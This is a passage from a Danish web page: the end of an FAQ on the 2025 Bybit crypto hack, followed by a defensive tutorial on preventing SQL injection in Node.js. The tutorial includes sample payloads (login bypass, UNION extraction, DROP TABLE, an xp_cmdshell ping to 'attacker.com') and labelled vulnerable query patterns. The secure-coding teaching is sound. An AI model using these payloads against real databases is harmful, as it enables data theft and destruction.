Kryptovaluta-sikkerhed: Komplet oversigt<\/a><\/li>\n<\/ul>\n\n\n\nOfte stillede sp\u00f8rgsm\u00e5l<\/h2>\n\n\n\nHvad var Bybit-hacket?<\/h3>\n\n\n\n Bybit-hacket var et cyberangreb den 21. februar 2025 mod kryptob\u00f8rsen Bybit, hvor hackere stjal $1,5 mia. i Ethereum og relaterede tokens. Det er det st\u00f8rste kryptotyveri i historien og blev attribueret til Nordkoreas statssponsorerede Lazarus Group.<\/p>\n\n\n\n
Hvordan skete Bybit-angrebet teknisk set?<\/h3>\n\n\n\n Angriberne kompromitterede en udviklermaskine hos Safe{Wallet}, den tredjepartsplatform Bybit brugte til multisig-godkendelse. Herfra injicerede de ondsindet JavaScript-kode i signeringsprocessen, som manipulerede en legitim transaktion til at overf\u00f8re midlerne til hackernes egne wallets.<\/p>\n\n\n\n
Fik Bybit-brugere deres penge tilbage?<\/h3>\n\n\n\n Ja. Bybit lukkede ETH-gabet inden for 72 timer ved at rejse $1,23 mia. via n\u00f8dl\u00e5n, whale-indskud og OTC-handler med partnere. En uafh\u00e6ngig revision bekr\u00e6ftede, at alle brugerindskud var fuldt d\u00e6kkede. Brugerne led direkte intet tab.<\/p>\n\n\n\n
Hvem stjal pengene fra Bybit?<\/h3>\n\n\n\n FBI bekr\u00e6ftede den 26. februar 2025, at angrebet stod Nordkorea bag via hackergruppen TraderTraitor, der er en undergren af det statssponsorerede Lazarus Group. Lazarus Group finansierer if\u00f8lge amerikanske efterretningstjenester Nordkoreas ballistiske missilprogram med stj\u00e5lne kryptomidler.<\/p>\n\n\n\n
Hvor meget af de stj\u00e5lne midler blev genvundet?<\/h3>\n\n\n\n Kun $42,89 mio. svarende til ca. 2,9 procent af de stj\u00e5lne midler, blev indefrosset i de f\u00f8rste dage. Over $400 mio. var allerede hvidvasket inden for fem dage. De resterende midler forblev spredt over tusindvis af blockchain-adresser og sporedes aktivt af Chainalysis, TRM Labs og FBI.<\/p>\n\n\n\n
Hvad kan danske kryptoinvestorer l\u00e6re af Bybit-angrebet?<\/h3>\n\n\n\n Den vigtigste l\u00e6rdom er at minimere opbevaring af store kryptobel\u00f8b p\u00e5 centraliserede b\u00f8rser og i stedet bruge hardware wallets til langtidsopbevaring. Ingen b\u00f8rs er helt sikker mod sofistikerede statslige akt\u00f8rer som Lazarus Group. Diversificering af opbevaringsstrategi reducerer risikoen for totalt tab.<\/p>\n\n\n\n
Hvad er Lazarus Groups samlede kryptotyveri?<\/h3>\n\n\n\n If\u00f8lge Chainalysis har Nordkorea via Lazarus Group og relaterede akt\u00f8rer stj\u00e5let kryptovaluta svarende til $6,75 mia. siden 2017. I 2025 alene stjal gruppen $2,02 mia., en stigning p\u00e5 51 procent sammenlignet med 2024. Bybit-angrebet p\u00e5 $1,5 mia. udgjorde den st\u00f8rste enkeltbegivenhed i dette forl\u00f8b.<\/p>\n\n\n\n
Denne guide viser dig pr\u00e6cis, hvordan du eliminerer SQL injection i Node.js trin for trin. Du l\u00e6rer at bruge parameteriserede foresp\u00f8rgsler med mysql2 og pg, sikre ORMs som Prisma, inputvalidering med Zod og express-validator, og en r\u00e6kke avancerede teknikker der beskytter din applikation i produktionsmilj\u00f8et. Guiden er baseret p\u00e5 research fra 2025-2026 og d\u00e6kker den kode, du skriver i dag.<\/p>\n\n\n\n
Hvad er SQL injection, og hvorfor er det farligt i 2026?<\/h2>\n\n\n\n SQL injection opst\u00e5r, n\u00e5r brugerinput flettes direkte ind i en SQL-foresp\u00f8rgsel som tekst. Databasemotoren kan ikke skelne mellem foresp\u00f8rgselslogik og brugerdata, og en angriber kan dermed injicere sin egen SQL-kode. Konsekvenserne sp\u00e6nder fra datal\u00e6k til fuldst\u00e6ndig overtagelse af serveren.<\/p>\n\n\n\n
Tag dette Node.js-eksempel, der aldrig<\/strong> m\u00e5 bruges i produktion:<\/p>\n\n\n\n\/\/ FARLIGT - Brug aldrig dette m\u00f8nster\nconst username = req.body.username;\nconst query = `SELECT * FROM users WHERE username = '${username}'`;\nconnection.query(query, (err, results) => {\n \/\/ En angriber sender: admin' OR '1'='1\n \/\/ SQL bliver: SELECT * FROM users WHERE username = 'admin' OR '1'='1'\n \/\/ Resultat: Alle brugere returneres\n});<\/code><\/pre>\n\n\n\nEn angriber indsender admin' OR '1'='1<\/code> som brugernavn, og foresp\u00f8rgslen returnerer alle brugere i databasen. Med et lidt mere avanceret payload som '; DROP TABLE users; --<\/code> sletter angriberen hele tabellen.<\/p>\n\n\n\nAngrebstype<\/th> Eksempel-payload<\/th> Effekt<\/th> L\u00f8sning<\/th><\/tr><\/thead> Classic injection<\/td> ' OR '1'='1<\/code><\/td>Omg\u00e5 login<\/td> Parameteriserede queries<\/td><\/tr> UNION-baseret<\/td> ' UNION SELECT password FROM users--<\/code><\/td>Dataudtr\u00e6k<\/td> Parameteriserede queries og ORM<\/td><\/tr> Blind (boolean)<\/td> ' AND 1=1--<\/code><\/td>Skjult dataudtr\u00e6k<\/td> Input-validering og WAF<\/td><\/tr> Time-based blind<\/td> '; WAITFOR DELAY '0:0:5'--<\/code><\/td>Bekr\u00e6ft s\u00e5rbarhed<\/td> Query-timeout og parameterisering<\/td><\/tr> Stacked queries<\/td> '; INSERT INTO admin VALUES(...)--<\/code><\/td>Datamanipulation<\/td> Deaktiver multiple statements<\/td><\/tr> Out-of-band<\/td> ' EXEC xp_cmdshell('ping attacker.com')--<\/code><\/td>Kommandoudf\u00f8relse<\/td> Mindste privilegium og WAF<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\nForuds\u00e6tninger og versioner<\/h2>\n\n\n\n Inden du begynder, skal du have f\u00f8lgende installeret og konfigureret:<\/p>\n\n\n\n
\nNode.js 22.x LTS<\/strong> eller nyere (aktiv support i 2026)<\/li>\nnpm 10.x<\/strong> eller nyere<\/li>\nMySQL 8.x<\/strong> eller PostgreSQL 16.x<\/strong> (eksempler d\u00e6kker begge)<\/li>\nGrundl\u00e6ggende kendskab til Express.js og async\/await<\/li>\n En lokal MySQL\/PostgreSQL-installation til testform\u00e5l<\/li>\n<\/ul>\n\n\n\nPakker du installerer i denne guide:<\/p>\n\n\n\nPakke<\/th> Form\u00e5l<\/th> Installation<\/th><\/tr><\/thead> express<\/td> HTTP-server<\/td> npm install express<\/code><\/td><\/tr>mysql2<\/td> MySQL-driver med parameterisering<\/td> npm install mysql2<\/code><\/td><\/tr>pg<\/td> PostgreSQL-driver<\/td> npm install pg<\/code><\/td><\/tr>@prisma\/client<\/td> Type-sikker ORM<\/td> npm install @prisma\/client<\/code><\/td><\/tr>prisma<\/td> Prisma CLI (dev-afh\u00e6ngighed)<\/td> npm install --save-dev prisma<\/code><\/td><\/tr>zod<\/td> Schema-validering<\/td> npm install zod<\/code><\/td><\/tr>express-validator<\/td> Express middleware-validering<\/td> npm install express-validator<\/code><\/td><\/tr>dotenv<\/td> Milj\u00f8variabler<\/td> npm install dotenv<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\nTrin 1: Projektops\u00e6tning<\/h2>\n\n\n\n Start med at oprette et rent projekt med den korrekte mappestruktur. En god struktur g\u00f8r det nemmere at h\u00e5ndh\u00e6ve sikkerhedsregler konsekvent p\u00e5 tv\u00e6rs af al kode.<\/p>\n\n\n\n
mkdir node-sql-sikker && cd node-sql-sikker\nnpm init -y\nnpm install express mysql2 pg @prisma\/client zod express-validator dotenv\nnpm install --save-dev prisma nodemon\n\n# Opret projektstruktur\nmkdir -p src\/{routes,middleware,db,validators}\ntouch src\/app.js src\/db\/mysql.js src\/db\/postgres.js .env<\/code><\/pre>\n\n\n\nTilf\u00f8j f\u00f8lgende til din .env<\/code>-fil. Commit aldrig<\/strong> denne fil til versionsstyring:<\/p>\n\n\n\n# .env\nDB_HOST=localhost\nDB_PORT=3306\nDB_USER=app_user # Brug IKKE root\nDB_PASSWORD=dit_st\u00e6rke_password\nDB_NAME=node_sikker_db\nDB_POOL_MAX=10\n\nPG_HOST=localhost\nPG_PORT=5432\nPG_USER=app_pg_user\nPG_PASSWORD=dit_postgres_password\nPG_DATABASE=node_sikker_pg<\/code><\/pre>\n\n\n\necho \".env\" >> .gitignore\necho \"node_modules\/\" >> .gitignore<\/code><\/pre>\n\n\n\nTrin 2: Forst\u00e5 den s\u00e5rbare kode<\/h2>\n\n\n\n Inden du retter et problem, skal du forst\u00e5 det til bunds. Her er tre typiske s\u00e5rbare m\u00f8nstre du ofte ser i Node.js-kode, og som du skal genkende med det samme:<\/p>\n\n\n\n
\/\/ FARLIGE M\u00d8NSTRE - Vis kun til undervisningsform\u00e5l\n\n\/\/ M\u00f8nster 1: Template literals med brugerinput\nconst s\u00f8g = req.query.q;\ndb.query(`SELECT * FROM produkter WHERE navn LIKE '%${s\u00f8g}%'`);\n\n\/\/ M\u00f8nster 2: String-sammens\u00e6tning\nconst id = req.params.id;\ndb.query(\"SELECT * FROM brugere WHERE id = \" + id);\n\n\/\/ M\u00f8nster 3: Ufiltreret sortering (kan ikke parameteriseres)\nconst kolonne = req.query.sortBy;\ndb.query(`SELECT * FROM ordrer ORDER BY ${kolonne} ASC`);\n\/\/ Angriber sender: kolonne = \"1; DROP TABLE ordrer; --\"<\/code><\/pre>\n\n\n\nDet tredje m\u00f8nster er s\u00e6rligt sv\u00e6rt at opdage, fordi kolonnenavne ikke kan parameteriseres direkte. Du skal i stedet bruge allowlisting (trin 10) til sorteringskolonner og andre dynamiske strukturer.<\/p>\n\n\n\n
Trin 3: Parameteriserede foresp\u00f8rgsler med mysql2<\/h2>\n\n\n\n mysql2-pakken er den anbefalede MySQL-driver til Node.js i 2026. Den underst\u00f8tter parameteriserede foresp\u00f8rgsler som standard og bruger ?<\/code>-pladsholdere. V\u00e6rdier sendes som et separat array, aldrig flettet ind i SQL-strengen.<\/p>\n\n\n\nOpret din database-forbindelsesops\u00e6tning i src\/db\/mysql.js<\/code>:<\/p>\n\n\n\n\/\/ src\/db\/mysql.js\nrequire('dotenv').config();\nconst mysql = require('mysql2\/promise');\n\nconst pool = mysql.createPool({\n host: process.env.DB_HOST,\n port: parseInt(process.env.DB_PORT),\n user: process.env.DB_USER,\n password: process.env.DB_PASSWORD,\n database: process.env.DB_NAME,\n connectionLimit: parseInt(process.env.DB_POOL_MAX),\n multipleStatements: false, \/\/ KRITISK: deaktiver multiple statements\n waitForConnections: true,\n queueLimit: 0,\n});\n\nmodule.exports = pool;<\/code><\/pre>\n\n\n\nBrug nu parameteriserede foresp\u00f8rgsler i alle dine routes:<\/p>\n\n\n\n
\/\/ src\/routes\/brugere.js\nconst express = require('express');\nconst pool = require('..\/db\/mysql');\nconst router = express.Router();\n\n\/\/ SIKKERT: Parameteriseret foresp\u00f8rgsel med ?-pladsholder\nrouter.get('\/bruger\/:id', async (req, res) => {\n const { id } = req.params;\n\n try {\n \/\/ id inds\u00e6ttes som parameter, ikke i SQL-strengen\n const [rows] = await pool.execute(\n 'SELECT id, navn, email FROM brugere WHERE id = ?',\n [id]\n );\n\n if (rows.length === 0) {\n return res.status(404).json({ fejl: 'Bruger ikke fundet' });\n }\n\n res.json(rows[0]);\n } catch (err) {\n \/\/ Afsl\u00f8r ALDRIG databasefejl til klienten\n console.error('Databasefejl:', err.message);\n res.status(500).json({ fejl: 'Intern serverfejl' });\n }\n});\n\n\/\/ SIKKERT: S\u00f8gning med LIKE\nrouter.get('\/s\u00f8g', async (req, res) => {\n const { q } = req.query;\n\n try {\n \/\/ Indpak wildcards p\u00e5 serversiden, ikke klientsiden\n const s\u00f8gterm = `%${q}%`;\n const [rows] = await pool.execute(\n 'SELECT id, navn, email FROM brugere WHERE navn LIKE ?',\n [s\u00f8gterm]\n );\n res.json(rows);\n } catch (err) {\n console.error('S\u00f8gningsfejl:', err.message);\n res.status(500).json({ fejl: 'Intern serverfejl' });\n }\n});\n\nmodule.exports = router;<\/code><\/pre>\n\n\n\nBem\u00e6rk forskellen p\u00e5 pool.query()<\/code> og pool.execute()<\/code>: execute()<\/code> bruger prepared statements p\u00e5 protokolniveau, hvilket giver det st\u00e6rkeste forsvar. Brug altid execute()<\/code> med brugerinput.<\/p>\n\n\n\nTrin 4: Parameteriserede foresp\u00f8rgsler med pg (PostgreSQL)<\/h2>\n\n\n\n PostgreSQL bruger $1, $2, $3<\/code>-pladsholdere i stedet for ?<\/code>. pg-pakken h\u00e5ndterer parameterisering korrekt, n\u00e5r du adskiller SQL-tekst fra parametre.<\/p>\n\n\n\n\/\/ src\/db\/postgres.js\nrequire('dotenv').config();\nconst { Pool } = require('pg');\n\nconst pgPool = new Pool({\n host: process.env.PG_HOST,\n port: parseInt(process.env.PG_PORT),\n user: process.env.PG_USER,\n password: process.env.PG_PASSWORD,\n database: process.env.PG_DATABASE,\n max: 10,\n idleTimeoutMillis: 30000,\n connectionTimeoutMillis: 2000,\n});\n\nmodule.exports = pgPool;\n\n\/\/ src\/routes\/produkter.js\nconst pgPool = require('..\/db\/postgres');\nconst router = require('express').Router();\n\nrouter.get('\/produkt\/:id', async (req, res) => {\n const { id } = req.params;\n\n try {\n \/\/ PostgreSQL-parameterisering med $1-pladsholder\n const result = await pgPool.query(\n 'SELECT id, navn, pris, kategori FROM produkter WHERE id = $1',\n [id]\n );\n\n if (result.rows.length === 0) {\n return res.status(404).json({ fejl: 'Produkt ikke fundet' });\n }\n\n res.json(result.rows[0]);\n } catch (err) {\n console.error('PostgreSQL-fejl:', err.message);\n res.status(500).json({ fejl: 'Intern serverfejl' });\n }\n});\n\n\/\/ Inds\u00e6t data sikkert med flere parametre\nrouter.post('\/produkt', async (req, res) => {\n const { navn, pris, kategori } = req.body;\n\n try {\n const result = await pgPool.query(\n 'INSERT INTO produkter (navn, pris, kategori) VALUES ($1, $2, $3) RETURNING id',\n [navn, pris, kategori]\n );\n\n res.status(201).json({ id: result.rows[0].id });\n } catch (err) {\n console.error('Inds\u00e6tningsfejl:', err.message);\n res.status(500).json({ fejl: 'Intern serverfejl' });\n }\n});<\/code><\/pre>\n\n\n\nTrin 5: Prisma ORM til automatisk parameterisering<\/h2>\n\n\n\n Prisma er en type-sikker ORM der automatisk parameteriserer alle foresp\u00f8rgsler. Du skriver aldrig r\u00e5 SQL i normale operationer, og Prisma h\u00e5ndterer alle databindinger korrekt. Det er en af de st\u00e6rkeste beskyttelser mod SQL injection, fordi fejlmuligheden elimineres strukturelt i stedet for at afh\u00e6nge af, at udvikleren husker at g\u00f8re det korrekt.<\/p>\n\n\n\n
Ops\u00e6t Prisma til MySQL:<\/p>\n\n\n\n
# Initialiser Prisma\nnpx prisma init --datasource-provider mysql\n\n# Generer Prisma Client efter schema-\u00e6ndringer\nnpx prisma generate\n\n# Push schema til databasen (kun i udvikling)\nnpx prisma db push<\/code><\/pre>\n\n\n\n\/\/ prisma\/schema.prisma\ngenerator client {\n provider = \"prisma-client-js\"\n}\n\ndatasource db {\n provider = \"mysql\"\n url = env(\"DATABASE_URL\")\n}\n\nmodel Bruger {\n id Int @id @default(autoincrement())\n navn String @db.VarChar(100)\n email String @unique @db.VarChar(255)\n oprettet DateTime @default(now())\n\n @@map(\"brugere\")\n}\n\nmodel Produkt {\n id Int @id @default(autoincrement())\n navn String @db.VarChar(200)\n pris Decimal @db.Decimal(10, 2)\n kategori String @db.VarChar(50)\n\n @@map(\"produkter\")\n}<\/code><\/pre>\n\n\n\n\/\/ src\/routes\/prisma-brugere.js\nconst { PrismaClient } = require('@prisma\/client');\nconst router = require('express').Router();\nconst prisma = new PrismaClient();\n\n\/\/ SIKKERT: Prisma parameteriserer automatisk via query-API\nrouter.get('\/bruger\/:id', async (req, res) => {\n const id = parseInt(req.params.id);\n\n if (isNaN(id)) {\n return res.status(400).json({ fejl: 'Ugyldigt ID' });\n }\n\n try {\n const bruger = await prisma.bruger.findUnique({\n where: { id },\n select: { id: true, navn: true, email: true, oprettet: true }\n });\n\n if (!bruger) {\n return res.status(404).json({ fejl: 'Bruger ikke fundet' });\n }\n\n res.json(bruger);\n } catch (err) {\n console.error('Prisma-fejl:', err.message);\n res.status(500).json({ fejl: 'Intern serverfejl' });\n }\n});\n\n\/\/ Sikker s\u00f8gning med Prisma - automatisk escaped\nrouter.get('\/s\u00f8g', async (req, res) => {\n const { q } = req.query;\n\n try {\n const brugere = await prisma.bruger.findMany({\n where: {\n navn: {\n contains: q,\n mode: 'insensitive'\n }\n },\n select: { id: true, navn: true, email: true }\n });\n\n res.json(brugere);\n } catch (err) {\n console.error('S\u00f8gningsfejl:', err.message);\n res.status(500).json({ fejl: 'Intern serverfejl' });\n }\n});\n\n\/\/ Raw SQL med Prisma - brug KUN tagget template literal\nrouter.get('\/avanceret\/:kategori', async (req, res) => {\n const { kategori } = req.params;\n\n try {\n \/\/ prisma.$queryRaw med tagged template er sikker\n \/\/ Brug ALDRIG prisma.$queryRawUnsafe() med brugerinput\n const produkter = await prisma.$queryRaw`\n SELECT id, navn, pris\n FROM produkter\n WHERE kategori = ${kategori}\n ORDER BY pris ASC\n `;\n\n res.json(produkter);\n } catch (err) {\n console.error('Raw query fejl:', err.message);\n res.status(500).json({ fejl: 'Intern serverfejl' });\n }\n});<\/code><\/pre>\n\n\n\nParameteriserede foresp\u00f8rgsler stopper SQL injection p\u00e5 databaseniveau. Input-validering stopper det allerede ved API-gr\u00e6nsen, inden data overhovedet n\u00e5r databaselaget. Disse to lag supplerer hinanden og m\u00e5 ikke erstatte hinanden. Zod er et TypeScript-first schema-valideringsbibliotek der fungerer fremragende med ren JavaScript. Det validerer ikke bare at en v\u00e6rdi er til stede, men kontrollerer type, format, l\u00e6ngde og begr\u00e6nsninger pr\u00e6cist.<\/p>\n\n\n\n
\/\/ src\/validators\/bruger-validator.js\nconst { z } = require('zod');\n\nconst brugerS\u00f8gSchema = z.object({\n q: z\n .string()\n .min(2, 'S\u00f8gning skal v\u00e6re mindst 2 tegn')\n .max(100, 'S\u00f8gning m\u00e5 maksimalt v\u00e6re 100 tegn')\n .regex(\/^[a-zA-Z\u00e6\u00f8\u00e5\u00c6\u00d8\u00c50-9\\s\\-\\.]+$\/, 'Ugyldige tegn i s\u00f8gning'),\n});\n\nconst brugerIdSchema = z.object({\n id: z\n .string()\n .regex(\/^\\d+$\/, 'ID skal v\u00e6re et heltal')\n .transform(Number)\n .refine((n) => n > 0 && n < 2147483647, 'ID uden for gyldigt interval'),\n});\n\nconst opretBrugerSchema = z.object({\n navn: z\n .string()\n .min(2, 'Navn skal v\u00e6re mindst 2 tegn')\n .max(100, 'Navn m\u00e5 maksimalt v\u00e6re 100 tegn')\n .regex(\/^[a-zA-Z\u00e6\u00f8\u00e5\u00c6\u00d8\u00c5\\s\\-']+$\/, 'Ugyldige tegn i navn'),\n email: z\n .string()\n .email('Ugyldig e-mailadresse')\n .max(255, 'E-mail er for lang')\n .toLowerCase(),\n alder: z\n .number()\n .int('Alder skal v\u00e6re et heltal')\n .min(13, 'Minimum alder er 13')\n .max(120, 'Ugyldig alder'),\n});\n\nmodule.exports = { brugerS\u00f8gSchema, brugerIdSchema, opretBrugerSchema };\n\n\/\/ src\/middleware\/valider.js\nconst { ZodError } = require('zod');\n\nfunction valider(schema, kilde = 'body') {\n return (req, res, next) => {\n try {\n const data = schema.parse(req[kilde]);\n req[kilde] = data; \/\/ Udskift med valideret og transformeret data\n next();\n } catch (err) {\n if (err instanceof ZodError) {\n return res.status(400).json({\n fejl: 'Valideringsfejl',\n detaljer: err.errors.map((e) => ({\n felt: e.path.join('.'),\n besked: e.message,\n })),\n });\n }\n next(err);\n }\n };\n}\n\nmodule.exports = valider;<\/code><\/pre>\n\n\n\nBrug middleware i dine routes:<\/p>\n\n\n\n
\/\/ src\/routes\/sikker-brugere.js\nconst router = require('express').Router();\nconst pool = require('..\/db\/mysql');\nconst valider = require('..\/middleware\/valider');\nconst { brugerS\u00f8gSchema, opretBrugerSchema } = require('..\/validators\/bruger-validator');\n\n\/\/ Valideringsfejl returneres INDEN databasekaldet sker\nrouter.get('\/s\u00f8g', valider(brugerS\u00f8gSchema, 'query'), async (req, res) => {\n const { q } = req.query; \/\/ Garanteret valideret og renset\n\n const s\u00f8gterm = `%${q}%`;\n const [rows] = await pool.execute(\n 'SELECT id, navn, email FROM brugere WHERE navn LIKE ?',\n [s\u00f8gterm]\n );\n res.json(rows);\n});\n\nrouter.post('\/opret', valider(opretBrugerSchema), async (req, res) => {\n const { navn, email, alder } = req.body; \/\/ Valideret og transformeret\n\n const [result] = await pool.execute(\n 'INSERT INTO brugere (navn, email, alder) VALUES (?, ?, ?)',\n [navn, email, alder]\n );\n\n res.status(201).json({ id: result.insertId });\n});\n\nmodule.exports = router;<\/code><\/pre>\n\n\n\nexpress-validator er alternativet til Zod for Express.js-projekter. Det tilbyder en k\u00e6de-baseret API der er t\u00e6t integreret med Express middleware-m\u00f8nsteret og er et godt valg, hvis du allerede har et eksisterende Express-projekt.<\/p>\n\n\n\n
\/\/ src\/routes\/produkt-regler.js\nconst { body, param, query, validationResult } = require('express-validator');\n\n\/\/ Valideringsregler som middleware-arrays\nconst s\u00f8gRegler = [\n query('q')\n .trim()\n .notEmpty().withMessage('S\u00f8geterm er p\u00e5kr\u00e6vet')\n .isLength({ min: 2, max: 100 }).withMessage('S\u00f8geterm skal v\u00e6re 2-100 tegn')\n .matches(\/^[a-zA-Z\u00e6\u00f8\u00e5\u00c6\u00d8\u00c50-9\\s\\-\\.]+$\/).withMessage('Ugyldige tegn i s\u00f8geterm'),\n];\n\nconst idRegler = [\n param('id')\n .isInt({ min: 1, max: 2147483647 }).withMessage('ID skal v\u00e6re et positivt heltal')\n .toInt(),\n];\n\nconst produktRegler = [\n body('navn')\n .trim()\n .notEmpty().withMessage('Navn er p\u00e5kr\u00e6vet')\n .isLength({ min: 2, max: 200 }).withMessage('Navn skal v\u00e6re 2-200 tegn'),\n body('pris')\n .isFloat({ min: 0.01, max: 9999999.99 }).withMessage('Pris skal v\u00e6re et positivt tal')\n .toFloat(),\n body('kategori')\n .trim()\n .notEmpty().withMessage('Kategori er p\u00e5kr\u00e6vet')\n .isIn(['elektronik', 't\u00f8j', 'mad', 'sport']).withMessage('Ugyldig kategori'),\n];\n\n\/\/ Middleware til at h\u00e5ndtere valideringsfejl\nfunction tjekFejl(req, res, next) {\n const fejl = validationResult(req);\n if (!fejl.isEmpty()) {\n return res.status(400).json({\n fejl: 'Valideringsfejl',\n detaljer: fejl.array().map((e) => ({\n felt: e.path,\n besked: e.msg,\n })),\n });\n }\n next();\n}\n\nmodule.exports = { s\u00f8gRegler, idRegler, produktRegler, tjekFejl };\n\n\/\/ Brug i route - alle tre middleware k\u00e6des\n\/\/ router.post('\/produkt', ...produktRegler, tjekFejl, h\u00e5ndterProdukt)<\/code><\/pre>\n\n\n\nTrin 8: Mindste privilegium for databasebrugeren<\/h2>\n\n\n\n Selv med perfekte parameteriserede foresp\u00f8rgsler skal du begr\u00e6nse skaden, hvis et angreb lykkes. Mindste privilegium-princippet betyder, at din applikationsbruger kun har de databaserettigheder, der er strengt n\u00f8dvendige. En angriber der eksekuterer SQL via din applikation kan kun g\u00f8re det, som din databasebruger har tilladelse til.<\/p>\n\n\n\n
-- K\u00f8r disse kommandoer som MySQL root\n-- Opret applikationsbruger med st\u00e6rkt password\nCREATE USER 'app_user'@'localhost' IDENTIFIED WITH caching_sha2_password BY 'St\u00e6rktPassword2026!';\n\n-- Giv kun de n\u00f8dvendige rettigheder til specifikke tabeller\nGRANT SELECT, INSERT, UPDATE ON node_sikker_db.brugere TO 'app_user'@'localhost';\nGRANT SELECT, INSERT, UPDATE ON node_sikker_db.produkter TO 'app_user'@'localhost';\nGRANT SELECT ON node_sikker_db.kategorier TO 'app_user'@'localhost';\n\n-- Ingen DROP, DELETE p\u00e5 f\u00f8lsomme tabeller - implementer soft delete i stedet\n-- Ingen GRANT OPTION - brugeren kan ikke give rettigheder videre\n-- Ingen FILE-rettighed - forhindrer filsystem-adgang via SQL\n\nFLUSH PRIVILEGES;\n\n-- Verificer rettigheder\nSHOW GRANTS FOR 'app_user'@'localhost';<\/code><\/pre>\n\n\n\nFor PostgreSQL:<\/p>\n\n\n\n
-- PostgreSQL mindste privilegium\nCREATE USER app_pg_user WITH PASSWORD 'St\u00e6rktPgPassword2026!';\n\nGRANT CONNECT ON DATABASE node_sikker_pg TO app_pg_user;\nGRANT USAGE ON SCHEMA public TO app_pg_user;\nGRANT SELECT, INSERT, UPDATE ON TABLE brugere TO app_pg_user;\nGRANT SELECT, INSERT, UPDATE ON TABLE produkter TO app_pg_user;\nGRANT SELECT ON TABLE kategorier TO app_pg_user;\n\n-- Giv adgang til sequences (p\u00e5kr\u00e6vet for INSERT med autoincrement)\nGRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO app_pg_user;\n\n-- Verificer\n\\dp brugere<\/code><\/pre>\n\n\n\nTrin 9: Deaktiver multiple statements<\/h2>\n\n\n\n Multiple statements-funktionen tillader at sende flere SQL-kommandoer adskilt af semikolon i en enkelt foresp\u00f8rgsel. Det er pr\u00e6cis det, der muligg\u00f8r angreb som '; DROP TABLE brugere; --<\/code>. mysql2 deaktiverer dette som standard, men du skal eksplicit bekr\u00e6fte det i din konfiguration og aldrig overskrive det.<\/p>\n\n\n\n\/\/ Eksplicit deaktivering i mysql2 pool-konfiguration\nconst pool = mysql.createPool({\n host: process.env.DB_HOST,\n user: process.env.DB_USER,\n password: process.env.DB_PASSWORD,\n database: process.env.DB_NAME,\n\n \/\/ KRITISK SIKKERHEDSINDSTILLING - lad denne st\u00e5 som false\n multipleStatements: false,\n\n \/\/ Begr\u00e6ns forbindelsestimeout\n connectTimeout: 10000,\n\n \/\/ Aktiver SSL i produktion\n ssl: process.env.NODE_ENV === 'production' ? {\n rejectUnauthorized: true,\n } : undefined,\n});\n\n\/\/ K\u00f8r denne test ved opstart for at bekr\u00e6fte konfigurationen\nasync function testSikkerhedKonfiguration() {\n try {\n await pool.execute('SELECT 1; SELECT 2');\n console.error('ADVARSEL: Multiple statements er aktiveret - ret dette med det samme!');\n process.exit(1);\n } catch (err) {\n console.log('OK: Multiple statements er korrekt deaktiveret');\n }\n}\n\ntestSikkerhedKonfiguration();<\/code><\/pre>\n\n\n\nTrin 10: Allowlisting til dynamiske SQL-strukturer<\/h2>\n\n\n\n Kolonnenavne, tabelnavne og sorteringsretninger kan ikke parameteriseres. En angriber der kan styre en ORDER BY<\/code>-klausul injicerer UNION-angreb eller for\u00e5rsager fejl der afsl\u00f8rer databasestrukturen. L\u00f8sningen er allowlisting: du definerer pr\u00e6cist hvilke v\u00e6rdier der er gyldige, og afviser alt andet.<\/p>\n\n\n\n\/\/ src\/middleware\/allowlist.js\n\nconst TILLADTE_SORTERINGS_KOLONNER = {\n brugere: ['navn', 'email', 'oprettet'],\n produkter: ['navn', 'pris', 'kategori', 'oprettet'],\n};\n\nconst TILLADTE_RETNINGER = ['ASC', 'DESC'];\n\nfunction validerSortering(tabel, kolonne, retning) {\n const tilladeKolonner = TILLADTE_SORTERINGS_KOLONNER[tabel];\n\n if (!tilladeKolonner) {\n throw new Error(`Ukendt tabel: ${tabel}`);\n }\n\n if (!tilladeKolonner.includes(kolonne)) {\n throw new Error(`Ikke-tilladt sorteringskolonne: ${kolonne}`);\n }\n\n const normalRetning = retning.toUpperCase();\n if (!TILLADTE_RETNINGER.includes(normalRetning)) {\n throw new Error(`Ikke-tilladt sorteringsretning: ${retning}`);\n }\n\n return { kolonne, retning: normalRetning };\n}\n\n\/\/ Brug i route\nrouter.get('\/produkter', async (req, res) => {\n const { sortBy = 'navn', retning = 'ASC' } = req.query;\n\n try {\n \/\/ Valider mod allowlist F\u00d8R brug i SQL\n const { kolonne, retning: sikkerRetning } = validerSortering(\n 'produkter',\n sortBy,\n retning\n );\n\n \/\/ Nu er det sikkert at inds\u00e6tte direkte - de er bekr\u00e6ftet fra kontrolleret liste\n const [rows] = await pool.execute(\n `SELECT id, navn, pris FROM produkter ORDER BY ${kolonne} ${sikkerRetning}`,\n []\n );\n\n res.json(rows);\n } catch (err) {\n if (err.message.startsWith('Ikke-tilladt') || err.message.startsWith('Ukendt')) {\n return res.status(400).json({ fejl: err.message });\n }\n console.error('Databasefejl:', err.message);\n res.status(500).json({ fejl: 'Intern serverfejl' });\n }\n});\n\nmodule.exports = { validerSortering };<\/code><\/pre>\n\n\n\nTrin 11: Fejlh\u00e5ndtering der ikke l\u00e6kker SQL-fejl<\/h2>\n\n\n\n En SQL-fejlmeddelelse som You have an error in your SQL syntax near '' at line 1<\/code> fort\u00e6ller en angriber, at injection-fors\u00f8get n\u00e5ede databasen. Din fejlh\u00e5ndtering skal logge detaljerne internt og kun returnere generiske beskeder til klienten.<\/p>\n\n\n\n\/\/ src\/middleware\/fejlh\u00e5ndtering.js\n\nfunction globalFejlh\u00e5ndterer(err, req, res, next) {\n const fejlId = Math.random().toString(36).substring(2, 10);\n\n \/\/ Log den fulde fejl internt - aldrig til klienten\n console.error({\n fejlId,\n timestamp: new Date().toISOString(),\n metode: req.method,\n sti: req.path,\n fejltype: err.constructor.name,\n besked: err.message,\n stack: process.env.NODE_ENV === 'development' ? err.stack : undefined,\n });\n\n \/\/ MySQL fejlkoder starter med ER_\n if (err.code && err.code.startsWith('ER_')) {\n return res.status(500).json({\n fejl: 'Databaseoperation mislykkedes',\n fejlId,\n });\n }\n\n \/\/ PostgreSQL unique constraint violation\n if (err.code && err.code === '23505') {\n return res.status(409).json({\n fejl: 'Ressourcen eksisterer allerede',\n });\n }\n\n res.status(err.status || 500).json({\n fejl: process.env.NODE_ENV === 'production'\n ? 'Intern serverfejl'\n : err.message,\n fejlId,\n });\n}\n\nmodule.exports = 